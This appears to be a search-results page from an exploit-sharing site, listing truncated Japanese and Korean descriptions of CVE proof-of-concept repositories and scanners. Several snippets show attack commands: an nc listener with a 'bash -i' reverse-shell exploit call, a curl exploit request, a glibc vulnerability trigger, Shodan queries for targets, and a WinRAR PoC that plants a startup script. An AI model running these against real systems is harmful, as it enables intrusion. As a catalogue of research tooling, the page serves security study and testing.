1127410 matches found
CVE-2023-25136
CVE-2023-25136 OpenSSH 9.1 の脆弱性の大量スキャンおよびエクスプロイト 説明 OpenSSH サーバー sshd 9.1 では、options.kexalgorithms の処理中にダブルフリーの脆弱性が導入されました。これは OpenSSH 9.2 で修正されています。デフォルト設定では、認証されていないリモート攻撃者がこのダブルフリーを悪用して、sshd のアドレス空間内の任意の場所にジャンプできます。あるサードパーティの報告では、「リモートコード実行は理論的に可能である」と述べられています。...
CVE-2021-24499
CVE-2021-24499 CVE-2021-24499 の大規模な悪用：Workreap テーマにおける認証不要のアップロードによるリモートコード実行。 AJAX アクション workreapawardtempfileuploader および workreaptempfileuploader は、nonce チェックを実行しておらず、またリクエストが有効なユーザーからのものであることを他の方法で検証していませんでした。これらのエンドポイントは、uploads/workreap-temp...
Next.js-RSC-RCE-Scanner-CVE-2025-66478
Next.js RSC RCE スキャナーと POC/エクスプロイトコレクション CVE-2025-66478 Next.jsアプリケーションのバージョンを一括検出し、CVE-2025-66478脆弱性の影響を受けるかどうかを判定するコマンドラインスキャナーです。 このスキャナーは脆弱性を悪用するものではありません 脆弱性の説明 https://nextjs.org/blog/CVE-2025-66478 インストール 前提条件 Go 1.19以上 Chrome/Chromiumブラウザ（go-rodが自動的にダウンロードします） root@kitploit: git clone...
CVE-2019-6340
CVE-2019-6340 교육 목적으로만 사용하세요. 실행 root@kitploit: $ docker run --rm -p 8080:80 knqyf263/cve-2019-6340 익스플로잇 GET root@kitploit: $ curl -XGET -H "Content-Type: application/hal+json" "http://localhost:8080/node/1?format=haljson" -d ' "link": "value": "link", "options":...
looneyCVE
ステップ 1 glibc のバージョンを確認します root@kitploit: ldd --version マシンが Looney Tunables CVE-2023-4911 に対して脆弱かどうかを確認します root@kitploit: env -i "GLIBCTUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=printf '%08192x' 1" /usr/bin/su --help Segmentation fault core dumped が表示された場合、マシンは脆弱です。 ステップ 2...
CVE-2018-1273
CVE-2018-1273 CVE-2018-1273 の環境 CVE-2018-1273: Spring Data Commons における RCE https://pivotal.io/security/cve-2018-1273 アプリケーション https://github.com/spring-projects/spring-data-examples/tree/master/web/example ビルド root@kitploit: $ docker build -t cve-2018-1273 . 実行 root@kitploit: $ docker run -d -p...
CVE-2018-11776
CVE-2018-11776 CVE-2018-11776 / S2-057 の環境 デモ サーバーの起動 root@kitploit: $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 エクスプロイト root@kitploit: $ nc -l 10000 or nc -lp 10000 root@kitploit: $ python3 exploit.py localhost:30080 'bash -i &...
CVE-2025-32433
Erlang/OTP SSH のリモートコード実行の脆弱性。問題の根源は、SSHプロトコルのメッセージ処理メカニズムに欠陥があり、攻撃者が認証完了前に接続プロトコルメッセージを送信できることにある。注目すべき点は、この脆弱性がSSHサーバーコンポーネントを実行するすべてのErlang/OTPバージョンに影響を与え、基盤となるシステムのバージョンとは無関係であることだ。 LINUXでのコンパイル：gcc CVE-2025-32433.c -o sshexp...
React2Shell
React2Shell 📌 React2Shell CVE-2025-55182 React2Shellは、React Server Components RSC およびNext.jsなどの関連フレームワークに影響を与える重大なリモートコード実行 RCE 脆弱性に付けられた非公式の名称です。その深刻度と潜在的な影響により、Web開発およびセキュリティコミュニティにおいて大きな懸念事項となっています。 react2shell.com +1 🧠 1. React2Shellとは？ 名前: React2Shell CVE ID: CVE-2025-55182...
Shellshock_vuln_Exploit
🚨 Shellshock RCE エクスプロイト CVE-2014-6271 これは、GNU Bash に影響を与える Shellshock 脆弱性 CVE-2014-6271 に対する Python エクスプロイトです。このエクスプロイトは、脆弱な Web サーバー上の CGI スクリプト を標的とし、攻撃者のマシンへの リバースシェル を確立します。 CVE ID CVE-2014-6271 Disclaimer このツールは、教育目的および倫理的な目的にのみ 使用されることを意図しています。 Features Shellshock を使用して脆弱な CGI スクリプトを悪用します...
WinRAR-CVE-2025-8088-PoC-RAR
WinRAR-CVE-2025-8088-PoC-RAR WinRAR 0day CVE-2025-8088 PoC RAR アーカイブ MyResumefinal.rar をダウンロードディレクトリに配置し、"Extract to MyResumefinal" で解凍するか、今のところは脆弱性のある WinRAR の UI から解凍してエクスプロイトを実行してください! : すると、"WindowsConfigurationFileRun1.vbs" という名前の VBScript ファイルがスタートアップディレクトリにドロップされ、マシンが再起動すると "Exploit...
CVE-2020-0796
CVE-2020-0796 SMBGhost（ollypwn による） CVE-2020-0796（SMBv3 RCE）用のシンプルなスキャナー。 このスキャナーは、サーバーが脆弱かどうかをテストするためだけのものです。固定されたペイロードを使用しているため、研究や開発を目的としていません。 ネゴシエーションリクエストを通じて、SMB ダイアレクト 3.1.1 と圧縮機能をチェックします。 Windows 2019 Server（10.0.0.133）に対して実行したスキャナーのネットワークダンプは、SMBGhost.pcap にあります。 スキャン python3...
regreSSHion
Qualys Security Advisory regreSSHion: OpenSSHサーバーにおけるRCE、glibcベースのLinuxシステム上 CVE-2024-6387 ===================================================================== 目次 概要 SSH-2.0-OpenSSH3.4p1 Debian 1:3.4p1-1.woody.3 Debian 3.0r6, 2005年 理論 実践 タイミング SSH-2.0-OpenSSH4.2p1 Debian-7ubuntu3 Ubuntu 6.06.1,...
CVE-2022-22947
다음에서 복사함 원본: https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947...
CVE-2024-27348
CVE-2024-27348 🪶 Apache HugeGraph Server における CVE-2024-27348 の概念実証 PoC エクスプロイト RCE 認証されていないユーザーは、Apache HugeGraph Server の Groovy インジェクションを介して OS コマンドを実行できます。 使用方法 🛠 複数ターゲットの悪用 ☣️ root@kitploit: python3 CVE-2024-27348.py -f targets.txt -c "command to execute" 単一ターゲットの悪用 🗡 root@kitploit: python3...
CVE-2023-36845
CVE-2023-36845 説明 CVE-2023-36845 は、Juniper SRX ファイアウォールおよび EX スイッチに影響を与える注目すべき PHP 環境変数操作の脆弱性です。Juniper はこの脆弱性を中程度の深刻度と分類していますが、本記事では、この単一の脆弱性をリモートから認証なしでコード実行に悪用する方法を詳しく説明します。 検索 - Shodan root@kitploit: title:"Juniper Web Device Manager" root@kitploit: title:"Juniper" http.favicon.hash:214172473...
CVE-2022-42889-text4shell
CVE-2022-42889-text4shell 🔥🔥🔥 Apache commons text - CVE-2022-42889 Text4Shell 概念実証エクスプロイト。 詳細 📃 CVE-2022-42889 は Apache Commons Text バージョン 1.5 から 1.9 に影響します。Commons Text バージョン 1.10 で修正されました。 この脆弱性は Log4Shell...
cave_miner
CAVE MINER 이 도구는 바이너리Elf, Mach-o, Pe에서 코드 케이브code cave를 검색하고, 그 안에 코드를 주입합니다. 설치 root@kitploit: pip install cave-miner 사용법 예제...
apache_normalize_path
CVE-2021-41773|CVE-2021-42013: Apache HTTPサーバーで悪用されたパストラバーサルゼロデイ脆弱性 10月5日、Apache HTTP Server Projectは、CVE-2021-41773を修正しました。これは、最も広く使用されているWebサーバーの1つであるUnixおよびWindows向けのオープンソースWebサーバーApache HTTP Serverにおけるパストラバーサルおよびファイル開示の脆弱性です。セキュリティアドバイザリによると、CVE-2021-41773はゼロデイとして実際に悪用されています。この脆弱性は、9月29日にAsh...